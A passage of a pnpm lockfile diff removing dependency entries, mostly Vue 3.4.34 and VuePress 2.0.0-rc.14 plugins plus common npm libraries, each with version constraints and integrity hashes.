- engines: {node: ^18.0.0 || >=20.0.0}
- peerDependencies:
- vite: ^5.0.0
- vue: ^3.2.25
-
- '@vue/compiler-core@3.4.34':
- resolution: {integrity: sha512-Z0izUf32+wAnQewjHu+pQf1yw00EGOmevl1kE+ljjjMe7oEfpQ+BI3/JNK7yMB4IrUsqLDmPecUrpj3mCP+yJQ==}
-
- '@vue/compiler-dom@3.4.34':
- resolution: {integrity: sha512-3PUOTS1h5cskdOJMExCu2TInXuM0j60DRPpSCJDqOCupCfUZCJoyQmKtRmA8EgDNZ5kcEE7vketamRZfrEuVDw==}
-
- '@vue/compiler-sfc@3.4.34':
- resolution: {integrity: sha512-x6lm0UrM03jjDXTPZgD9Ad8bIVD1ifWNit2EaWQIZB5CULr46+FbLQ5RpK7AXtDHGjx9rmvC7QRCTjsiGkAwRw==}
-
- '@vue/compiler-ssr@3.4.34':
- resolution: {integrity: sha512-8TDBcLaTrFm5rnF+Qm4BlliaopJgqJ28Nsrc80qazynm5aJO+Emu7y0RWw34L8dNnTRdcVBpWzJxhGYzsoVu4g==}
-
- '@vue/devtools-api@6.6.3':
- resolution: {integrity: sha512-0MiMsFma/HqA6g3KLKn+AGpL1kgKhFWszC9U29NfpWK5LE7bjeXxySWJrOJ77hBz+TBrBQ7o4QJqbPbqbs8rJw==}
-
- '@vue/reactivity@3.4.34':
- resolution: {integrity: sha512-ua+Lo+wBRlBEX9TtgPOShE2JwIO7p6BTZ7t1KZVPoaBRfqbC7N3c8Mpzicx173fXxx5VXeU6ykiHo7WgLzJQDA==}
-
- '@vue/runtime-core@3.4.34':
- resolution: {integrity: sha512-PXhkiRPwcPGJ1BnyBZFI96GfInCVskd0HPNIAZn7i3YOmLbtbTZpB7/kDTwC1W7IqdGPkTVC63IS7J2nZs4Ebg==}
-
- '@vue/runtime-dom@3.4.34':
- resolution: {integrity: sha512-dXqIe+RqFAK2Euak4UsvbIupalrhc67OuQKpD7HJ3W2fv8jlqvI7szfBCsAEcE8o/wyNpkloxB6J8viuF/E3gw==}
-
- '@vue/server-renderer@3.4.34':
- resolution: {integrity: sha512-GeyEUfMVRZMD/mZcNONEqg7MiU10QQ1DB3O/Qr6+8uXpbwdlmVgQ5Qs1/ZUAFX1X2UUtqMoGrDRbxdWfOJFT7Q==}
- peerDependencies:
- vue: 3.4.34
-
- '@vue/shared@3.4.34':
- resolution: {integrity: sha512-x5LmiRLpRsd9KTjAB8MPKf0CDPMcuItjP0gbNqFCIgL1I8iYp4zglhj9w9FPCdIbHG2M91RVeIbArFfFTz9I3A==}
-
- '@vuepress/bundler-vite@2.0.0-rc.14':
- resolution: {integrity: sha512-kttbowYITMCX3ztz78Qb6bMfXRv/GEpNu+nALksu7j/QJQ0gOzI2is68PatbmzZRWOufVsf1Zf0A8BwolmVcXA==}
-
- '@vuepress/cli@2.0.0-rc.14':
- resolution: {integrity: sha512-oYJX1nE6/ohF2tzUtpBAFxRr4MF2kdtab3+AQ897esXzrciQnE2LxPQZ8BUOn6Jb3XYW12FXDdkHrr82rN6XnQ==}
- hasBin: true
-
- '@vuepress/client@2.0.0-rc.14':
- resolution: {integrity: sha512-ULwxOiWoUi15HWQ6qH60gWjxSXB0797uExCUa4HgHV/8SpIqv4SHFn6jqjo7qCzOxuTqj1RT47JH3oWfUF4XPA==}
-
- '@vuepress/core@2.0.0-rc.14':
- resolution: {integrity: sha512-Ly3fypjXGUgPzjfbXKJeyd59jxJgXkhxhWAGkH/rRyQeV8Nr7Wo1ah3H1MeGhlCRGH1T9Yd3Bz9W7QMoyWFfmg==}
-
- '@vuepress/helper@2.0.0-rc.39':
- resolution: {integrity: sha512-X9KiTUjtrT6gxrDUDJhiB5+/kO4via8yzudowOPu55p/MKtPbShlJw/zEDivH3P4nD1LFWnjWWuEBgZLFymLFQ==}
- peerDependencies:
- vuepress: 2.0.0-rc.14
-
- '@vuepress/helper@2.0.0-rc.40':
- resolution: {integrity: sha512-6mvH6nRXkdST8ndmms1wf/uVSdzBn/Tc4psWHNlU+TxaYzDHcXCuGOXh5Z97fJGteHy7LZQo1w7eP+Fsr1JAvQ==}
- peerDependencies:
- vuepress: 2.0.0-rc.14
-
- '@vuepress/highlighter-helper@2.0.0-rc.39':
- resolution: {integrity: sha512-da4wob8vmrB8DGsBsJCF1ox4E50/9Yc3F9CkNvuH/BS/Touk5KabAw36dCDW/420jTrm5UjRgwfVzfkakcaRIQ==}
- peerDependencies:
- vuepress: 2.0.0-rc.14
-
- '@vuepress/markdown@2.0.0-rc.14':
- resolution: {integrity: sha512-9xr693gkp71qwEbQLxpo1ybhJ+lA2k5SiuFUgqqrmR2a8CSL3gcmKEGM+y7GMnHvL63U2dYlc9pUOtJ5rG9O0Q==}
-
- '@vuepress/plugin-active-header-links@2.0.0-rc.39':
- resolution: {integrity: sha512-Nm4srR+/kEoawFikbpXdJmi3dvXKU4RcsuOW6d0Aa6JWdiB8sX9PbCWbJD+ZWvAa8o+ySBBHFNd4exTzfCtBlw==}
- peerDependencies:
- vuepress: 2.0.0-rc.14
-
- '@vuepress/plugin-back-to-top@2.0.0-rc.39':
- resolution: {integrity: sha512-rG9HVgvpxURGfDZeuVRCjXLFHIEqPh1VPqkQpldh1zpDbB4+V2xqq73TYfpjFBRekN8lJZ0JO3BJ8f7p9t4wLg==}
- peerDependencies:
- vuepress: 2.0.0-rc.14
-
- '@vuepress/plugin-blog@2.0.0-rc.39':
- resolution: {integrity: sha512-YHxsZxlIeJGCcOdEm4c4lQoNHx358Zxu/0tvRC/jEwXgyZUnqSpbMd3FLJ9Yl7CPsp18PMLIN7d8YQOetR17zA==}
- peerDependencies:
- vuepress: 2.0.0-rc.14
-
- '@vuepress/plugin-catalog@2.0.0-rc.39':
- resolution: {integrity: sha512-WAxCpDAZO4Pzozh6l5zPk/XYXgxAMq96PksgrVjlWsp1c4UKM7QiUMAXKH0UfbgcQhtLJoWQ37F8EZnJAMEXDQ==}
- peerDependencies:
- vuepress: 2.0.0-rc.14
-
- '@vuepress/plugin-comment@2.0.0-rc.39':
- resolution: {integrity: sha512-/oCS+0wH/MtE4c1HUKlqH/tj70oXSz/tfR1hsHj8F8wiZ+IVJxexvtzMKk0vdRmYnH4nqeZh6dg5ggSJjrLEZQ==}
- peerDependencies:
- '@waline/client': ^3.1.0
- artalk: ^2.8.7
- twikoo: ^1.5.0
- vuepress: 2.0.0-rc.14
- peerDependenciesMeta:
- '@waline/client':
- optional: true
- artalk:
- optional: true
- twikoo:
- optional: true
-
- '@vuepress/plugin-copy-code@2.0.0-rc.39':
- resolution: {integrity: sha512-Udd73yfUvjCQadE+QRXCC+Rw2zxRNsBIcpDcFMzs3Vz93LbZxbG0cv6pO4rdKb3OrFH9M0JTawoWyANZspt3QQ==}
- peerDependencies:
- vuepress: 2.0.0-rc.14
-
- '@vuepress/plugin-copyright@2.0.0-rc.39':
- resolution: {integrity: sha512-webOz7vcBydcpqRdLMQYtykEGD5NqZ8ykoZ6dLF9Yk7LteUgsSVUSMm7cJ2vxG2dD/SeH5dPlsr02lH+PH0VbQ==}
- peerDependencies:
- vuepress: 2.0.0-rc.14
-
- '@vuepress/plugin-docsearch@2.0.0-rc.40':
- resolution: {integrity: sha512-k3sfer1Vm+bxx0DZv3mWXMNmhDB/LfFOiApM2/T6sChvlScWvlHscydUtp48dmkF4qJV+bieQw0FDzO6oEHeXA==}
- peerDependencies:
- vuepress: 2.0.0-rc.14
-
- '@vuepress/plugin-git@2.0.0-rc.38':
- resolution: {integrity: sha512-dRJiZ5PVuhhyu+R2BZOlyeqgxVikUUh2Vf6RNVN2DNWv4VHdYybFQuQ+kYDpldYyzoP8932aFRV0d2ocpvxEug==}
- peerDependencies:
- vuepress: 2.0.0-rc.14
-
- '@vuepress/plugin-links-check@2.0.0-rc.39':
- resolution: {integrity: sha512-2lQHIMO49jYcJnEWHf7yoXnuFUrAQC+LfzSvaeCMUzshEIDTJXy96LSCQCjRWwW02GL65qS9ODfr6b8DDuXMgg==}
- peerDependencies:
- vuepress: 2.0.0-rc.14
-
- '@vuepress/plugin-notice@2.0.0-rc.39':
- resolution: {integrity: sha512-GNnNIxZJBt2q8XAtgrpCxovEB0vRXjrCccu4TBjPnSimjreo/i7uaHkxDyCb3O9tNQGEd6OaObOkHFBJ7vXaTg==}
- peerDependencies:
- vuepress: 2.0.0-rc.14
-
- '@vuepress/plugin-nprogress@2.0.0-rc.39':
- resolution: {integrity: sha512-HH+GuR2sxzVQ5uIQxDHnQF5RevjefviLuAbB1UH4u1R6DRUDd9+DrqXm4T/0LJJWo4OCPO4DLzPpmRESjuZifw==}
- peerDependencies:
- vuepress: 2.0.0-rc.14
-
- '@vuepress/plugin-photo-swipe@2.0.0-rc.39':
- resolution: {integrity: sha512-MS9xlTAEd7/nJHSPphS2diyvyRzuXRk0zYVlBSDcv8ge3X9gxkMhEcOoRfU6PymxMuovJKBIeTE4mvZQ9Wl9eQ==}
- peerDependencies:
- vuepress: 2.0.0-rc.14
-
- '@vuepress/plugin-pwa@2.0.0-rc.40':
- resolution: {integrity: sha512-gnsGa8gM8qusM0Oo8bmCYAiZR+zFGo1TkI/2PaRrERYKLBDa8CL0VMGN7F8ULSbriWtIqcwatGza00bSxYoLQg==}
- peerDependencies:
- vuepress: 2.0.0-rc.14
-
- '@vuepress/plugin-reading-time@2.0.0-rc.39':
- resolution: {integrity: sha512-ChfVi6be4hAXd0XIgyfdNGayIQTzRKFZB2JFWB12+TYBJr6TQ7j6tmL7FWOiYPXUPetVPm6CfuY+mdiaBq2vqg==}
- peerDependencies:
- vuepress: 2.0.0-rc.14
-
- '@vuepress/plugin-rtl@2.0.0-rc.39':
- resolution: {integrity: sha512-1ndKbzpGxJ6qLIOjTeZkAcsqq4eJ54hUrhraOmv21UneVIVDSAt80VeKnSwl8p269T94AxqNqfLsnnaCQ5uvRw==}
- peerDependencies:
- vuepress: 2.0.0-rc.14
-
- '@vuepress/plugin-sass-palette@2.0.0-rc.39':
- resolution: {integrity: sha512-jBo/4Lz7H9pa7TCqMSFiEyZRowsLCOVHj+yrp0PE1fAwx+qTm9dNSDKauWIKGplFGQqf4BdKITE7hPDoBePiDw==}
- peerDependencies:
- sass-loader: ^14.0.0
- vuepress: 2.0.0-rc.14
- peerDependenciesMeta:
- sass-loader:
- optional: true
-
- '@vuepress/plugin-seo@2.0.0-rc.39':
- resolution: {integrity: sha512-n6w3ifBU2HK3b6twxJQiiv7vZxjCi0DCgW3Ellp7pNI/uZU6PnfkZ+UjtlHieScThe7A8Q+mxW/T7CyWC6/8cw==}
- peerDependencies:
- vuepress: 2.0.0-rc.14
-
- '@vuepress/plugin-shiki@2.0.0-rc.39':
- resolution: {integrity: sha512-QnD8VhOqpkgLCnwLGzcyPY8eC1dam2Navud9DyisLtqWOJ6zmjFZEE1O5elUjh6cPUtarN8bQQ/zn1M1ebRURA==}
- peerDependencies:
- vuepress: 2.0.0-rc.14
-
- '@vuepress/plugin-sitemap@2.0.0-rc.39':
- resolution: {integrity: sha512-/dgI8JK4oFaFG3Dmw34cwY5J/gYXNWto7RwR7H8wcK10cWuoT2tNV56BeixWiaqsKj1BZjv2GMwZTLpPgYxgZw==}
- peerDependencies:
- vuepress: 2.0.0-rc.14
-
- '@vuepress/plugin-theme-data@2.0.0-rc.39':
- resolution: {integrity: sha512-fNwaPpqM46gI23n5d4UrwC8Y+JRDi7mKs1sjawqKU9PdJpUQKd/2lOSOSx/farLqxiswHTQdZtLCxWjvWlcZRw==}
- peerDependencies:
- vuepress: 2.0.0-rc.14
-
- '@vuepress/plugin-watermark@2.0.0-rc.39':
- resolution: {integrity: sha512-16BZnwIZa+AEBcnXI59udHX04/VLiCwrdy8wsdBf3vy5co8/PPyG3iDC1Tlwbkotsuz/+J23KG7MjN4Fr9dFEQ==}
- peerDependencies:
- vuepress: 2.0.0-rc.14
-
- '@vuepress/shared@2.0.0-rc.14':
- resolution: {integrity: sha512-VDDnPpz4x1Q07richcVRGbc4qc2RG/6bKoEYSImofTFzvdmHer538ouv8kD2SNU10UrSOpxxUiphnhlhNIe03A==}
-
- '@vuepress/utils@2.0.0-rc.14':
- resolution: {integrity: sha512-1h/5qcKBeIhIg6SZM2IoZVOaIdFSeQ1CdEWadqQWy1uwupEeVrU3QPkjFyn0vUt0O/EuuVqQcLLC8OuS/wldNw==}
-
- '@vueuse/core@10.11.0':
- resolution: {integrity: sha512-x3sD4Mkm7PJ+pcq3HX8PLPBadXCAlSDR/waK87dz0gQE+qJnaaFhc/dZVfJz+IUYzTMVGum2QlR7ImiJQN4s6g==}
-
- '@vueuse/metadata@10.11.0':
- resolution: {integrity: sha512-kQX7l6l8dVWNqlqyN3ePW3KmjCQO3ZMgXuBMddIu83CmucrsBfXlH+JoviYyRBws/yLTQO8g3Pbw+bdIoVm4oQ==}
-
- '@vueuse/shared@10.11.0':
- resolution: {integrity: sha512-fyNoIXEq3PfX1L3NkNhtVQUSRtqYwJtJg+Bp9rIzculIZWHTkKSysujrOk2J+NrRulLTQH9+3gGSfYLWSEWU1A==}
-
- acorn@8.12.1:
- resolution: {integrity: sha512-tcpGyI9zbizT9JbV6oYE477V6mTlXvvi0T0G3SNIYE2apm/G5huBa1+K89VGeovbg+jycCrfhl3ADxErOuO6Jg==}
- engines: {node: '>=0.4.0'}
- hasBin: true
-
- ajv@8.17.1:
- resolution: {integrity: sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==}
-
- algoliasearch@4.24.0:
- resolution: {integrity: sha512-bf0QV/9jVejssFBmz2HQLxUadxk574t4iwjCKp5E7NBzwKkrDEhKPISIIjAU/p6K5qDx3qoeh4+26zWN1jmw3g==}
-
- ansi-regex@5.0.1:
- resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==}
- engines: {node: '>=8'}
-
- ansi-regex@6.0.1:
- resolution: {integrity: sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==}
- engines: {node: '>=12'}
-
- ansi-styles@3.2.1:
- resolution: {integrity: sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==}
- engines: {node: '>=4'}
-
- ansi-styles@4.3.0:
- resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==}
- engines: {node: '>=8'}
-
- anymatch@3.1.3:
- resolution: {integrity: sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==}
- engines: {node: '>= 8'}
-
- arg@5.0.2:
- resolution: {integrity: sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==}
-
- argparse@1.0.10:
- resolution: {integrity: sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==}
-
- argparse@2.0.1:
- resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==}
-
- array-buffer-byte-length@1.0.1:
- resolution: {integrity: sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg==}
- engines: {node: '>= 0.4'}
-
- arraybuffer.prototype.slice@1.0.3:
- resolution: {integrity: sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A==}
- engines: {node: '>= 0.4'}
-
- async@3.2.5:
- resolution: {integrity: sha512-baNZyqaaLhyLVKm/DlvdW051MSgO6b8eVfIezl9E5PqWxFgzLm/wQntEW4zOytVburDEr0JlALEpdOFwvErLsg==}
-
- at-least-node@1.0.0:
- resolution: {integrity: sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==}
- engines: {node: '>= 4.0.0'}
-
- autoprefixer@10.4.19:
- resolution: {integrity: sha512-BaENR2+zBZ8xXhM4pUaKUxlVdxZ0EZhjvbopwnXmxRUfqDmwSpC2lAi/QXvx7NRdPCo1WKEcEF6mV64si1z4Ew==}
- engines: {node: ^10 || ^12 || >=14}
- hasBin: true
- peerDependencies:
- postcss: ^8.1.0
-
- available-typed-arrays@1.0.7:
- resolution: {integrity: sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==}
- engines: {node: '>= 0.4'}
-
- babel-plugin-polyfill-corejs2@0.4.11:
- resolution: {integrity: sha512-sMEJ27L0gRHShOh5G54uAAPaiCOygY/5ratXuiyb2G46FmlSpc9eFCzYVyDiPxfNbwzA7mYahmjQc5q+CZQ09Q==}
- peerDependencies:
- '@babel/core': ^7.4.0 || ^8.0.0-0 <8.0.0
-
- babel-plugin-polyfill-corejs3@0.10.4:
- resolution: {integrity: sha512-25J6I8NGfa5YkCDogHRID3fVCadIR8/pGl1/spvCkzb6lVn6SR3ojpx9nOn9iEBcUsjY24AmdKm5khcfKdylcg==}
- peerDependencies:
- '@babel/core': ^7.4.0 || ^8.0.0-0 <8.0.0
-
- babel-plugin-polyfill-regenerator@0.6.2:
- resolution: {integrity: sha512-2R25rQZWP63nGwaAswvDazbPXfrM3HwVoBXK6HcqeKrSrL/JqcC/rDcf95l4r7LXLyxDXc8uQDa064GubtCABg==}
- peerDependencies:
- '@babel/core': ^7.4.0 || ^8.0.0-0 <8.0.0
-
- balanced-match@1.0.2:
- resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==}
-
- balloon-css@1.2.0:
- resolution: {integrity: sha512-urXwkHgwp6GsXVF+it01485Z2Cj4pnW02ICnM0TemOlkKmCNnDLmyy+ZZiRXBpwldUXO+aRNr7Hdia4CBvXJ5A==}
-
- bcrypt-ts@5.0.2:
- resolution: {integrity: sha512-gDwQ5784AkkfhHACh3jGcg1hUubyZyeq9AtVd5gXkcyHGVOC+mORjRIHSj+fHfqwY5vxwyBLXQpcfk8MpK0ROg==}
- engines: {node: '>=18'}
-
- binary-extensions@2.3.0:
- resolution: {integrity: sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==}
- engines: {node: '>=8'}
-
- boolbase@1.0.0:
- resolution: {integrity: sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==}
-
- brace-expansion@1.1.11:
- resolution: {integrity: sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==}
-
- brace-expansion@2.0.1:
- resolution: {integrity: sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==}
-
- braces@3.0.3:
- resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==}
- engines: {node: '>=8'}
-
- browserslist@4.23.2:
- resolution: {integrity: sha512-qkqSyistMYdxAcw+CzbZwlBy8AGmS/eEWs+sEV5TnLRGDOL+C5M2EnH6tlZyg0YoAxGJAFKh61En9BR941GnHA==}
- engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7}
- hasBin: true
-
- buffer-from@1.1.2:
- resolution: {integrity: sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==}
-
- builtin-modules@3.3.0:
- resolution: {integrity: sha512-zhaCDicdLuWN5UbN5IMnFqNMhNfo919sH85y2/ea+5Yg9TsTkeZxpL+JLbp6cgYFS4sRLp3YV4S6yDuqVWHYOw==}
- engines: {node: '>=6'}
-
- cac@6.7.14:
- resolution: {integrity: sha512-b6Ilus+c3RrdDk+JhLKUAQfzzgLEPy6wcXqS7f/xe1EETvsDP6GORG7SFuOs6cID5YkqchW/LXZbX5bc8j7ZcQ==}
- engines: {node: '>=8'}
-
- call-bind@1.0.7:
- resolution: {integrity: sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==}
- engines: {node: '>= 0.4'}
-
- camelcase@5.3.1:
- resolution: {integrity: sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==}
- engines: {node: '>=6'}
-
- caniuse-lite@1.0.30001643:
- resolution: {integrity: sha512-ERgWGNleEilSrHM6iUz/zJNSQTP8Mr21wDWpdgvRwcTXGAq6jMtOUPP4dqFPTdKqZ2wKTdtB+uucZ3MRpAUSmg==}
-
- chalk@2.4.2:
- resolution: {integrity: sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==}
- engines: {node: '>=4'}
-
- chalk@4.1.2:
- resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==}
- engines: {node: '>=10'}
-
- chalk@5.3.0:
- resolution: {integrity: sha512-dLitG79d+GV1Nb/VYcCDFivJeK1hiukt9QjRNVOsUtTy1rR1YJsmpGGTZ3qJos+uw7WmWF4wUwBd9jxjocFC2w==}
- engines: {node: ^12.17.0 || ^14.13 || >=16.0.0}
-
- cheerio-select@2.1.0:
- resolution: {integrity: sha512-9v9kG0LvzrlcungtnJtpGNxY+fzECQKhK4EGJX2vByejiMX84MFNQw4UxPJl3bFbTMw+Dfs37XaIkCwTZfLh4g==}
-
- cheerio@1.0.0-rc.12:
- resolution: {integrity: sha512-VqR8m68vM46BNnuZ5NtnGBKIE/DfN0cRIzg9n40EIq9NOv90ayxLBXA8fXC5gquFRGJSTRqBq25Jt2ECLR431Q==}
- engines: {node: '>= 6'}
-
- chokidar@3.6.0:
- resolution: {integrity: sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==}
- engines: {node: '>= 8.10.0'}
-
- cli-cursor@4.0.0:
- resolution: {integrity: sha512-VGtlMu3x/4DOtIUwEkRezxUZ2lBacNJCHash0N0WeZDBS+7Ux1dm3XWAgWYxLJFMMdOeXMHXorshEFhbMSGelg==}
- engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0}
-
- cli-spinners@2.9.2:
- resolution: {integrity: sha512-ywqV+5MmyL4E7ybXgKys4DugZbX0FC6LnwrhjuykIjnK9k8OQacQ7axGKnjDXWNhns0xot3bZI5h55H8yo9cJg==}
- engines: {node: '>=6'}
-
- cliui@6.0.0:
- resolution: {integrity: sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ==}
-
- color-convert@1.9.3:
- resolution: {integrity: sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==}
-
- color-convert@2.0.1:
- resolution: {integrity: sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==}
- engines: {node: '>=7.0.0'}
-
- color-name@1.1.3:
- resolution: {integrity: sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==}
-
- color-name@1.1.4:
- resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==}
-
- commander@2.20.3:
- resolution: {integrity: sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==}
-
- commander@9.2.0:
- resolution: {integrity: sha512-e2i4wANQiSXgnrBlIatyHtP1odfUp0BbV5Y5nEGbxtIrStkEOAAzCUirvLBNXHLr7kwLvJl6V+4V3XV9x7Wd9w==}
- engines: {node: ^12.20.0 || >=14}
-
- common-tags@1.8.2:
- resolution: {integrity: sha512-gk/Z852D2Wtb//0I+kRFNKKE9dIIVirjoqPoA1wJU+XePVXZfGeBpk45+A1rKO4Q43prqWBNY/MiIeRLbPWUaA==}
- engines: {node: '>=4.0.0'}
-
- concat-map@0.0.1:
- resolution: {integrity: sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==}
-
- connect-history-api-fallback@2.0.0:
- resolution: {integrity: sha512-U73+6lQFmfiNPrYbXqr6kZ1i1wiRqXnp2nhMsINseWXO8lDau0LGEffJ8kQi4EjLZympVgRdvqjAgiZ1tgzDDA==}
- engines: {node: '>=0.8'}
-
- convert-source-map@2.0.0:
- resolution: {integrity: sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==}
-
- core-js-compat@3.37.1:
- resolution: {integrity: sha512-9TNiImhKvQqSUkOvk/mMRZzOANTiEVC7WaBNhHcKM7x+/5E1l5NvsysR19zuDQScE8k+kfQXWRN3AtS/eOSHpg==}
-
- create-codepen@2.0.0:
- resolution: {integrity: sha512-ehJ0Zw5RSV2G4+/azUb7vEZWRSA/K9cW7HDock1Y9ViDexkgSJUZJRcObdw/YAWeXKjreEQV9l/igNSsJ1yw5A==}
- engines: {node: '>=18'}
-
- cross-spawn@7.0.3:
- resolution: {integrity: sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==}
- engines: {node: '>= 8'}
-
- crypto-random-string@2.0.0:
- resolution: {integrity: sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==}
- engines: {node: '>=8'}
-
- css-select@5.1.0:
- resolution: {integrity: sha512-nwoRF1rvRRnnCqqY7updORDsuqKzqYJ28+oSMaJMMgOauh3fvwHqMS7EZpIPqK8GL+g9mKxF1vP/ZjSeNjEVHg==}
-
- css-what@6.1.0:
- resolution: {integrity: sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==}
- engines: {node: '>= 6'}
-
- csstype@3.1.3:
- resolution: {integrity: sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==}
-
- data-view-buffer@1.0.1:
- resolution: {integrity: sha512-0lht7OugA5x3iJLOWFhWK/5ehONdprk0ISXqVFn/NFrDu+cuc8iADFrGQz5BnRK7LLU3JmkbXSxaqX+/mXYtUA==}
- engines: {node: '>= 0.4'}
-
- data-view-byte-length@1.0.1:
- resolution: {integrity: sha512-4J7wRJD3ABAzr8wP+OcIcqq2dlUKp4DVflx++hs5h5ZKydWMI6/D/fAot+yh6g2tHh8fLFTvNOaVN357NvSrOQ==}
- engines: {node: '>= 0.4'}
-
- data-view-byte-offset@1.0.0:
- resolution: {integrity: sha512-t/Ygsytq+R995EJ5PZlD4Cu56sWa8InXySaViRzw9apusqsOO2bQP+SbYzAhR0pFKoB+43lYy8rWban9JSuXnA==}
- engines: {node: '>= 0.4'}
-
- dayjs@1.11.12:
- resolution: {integrity: sha512-Rt2g+nTbLlDWZTwwrIXjy9MeiZmSDI375FvZs72ngxx8PDC6YXOeR3q5LAuPzjZQxhiWdRKac7RKV+YyQYfYIg==}
-
- debug@4.3.5:
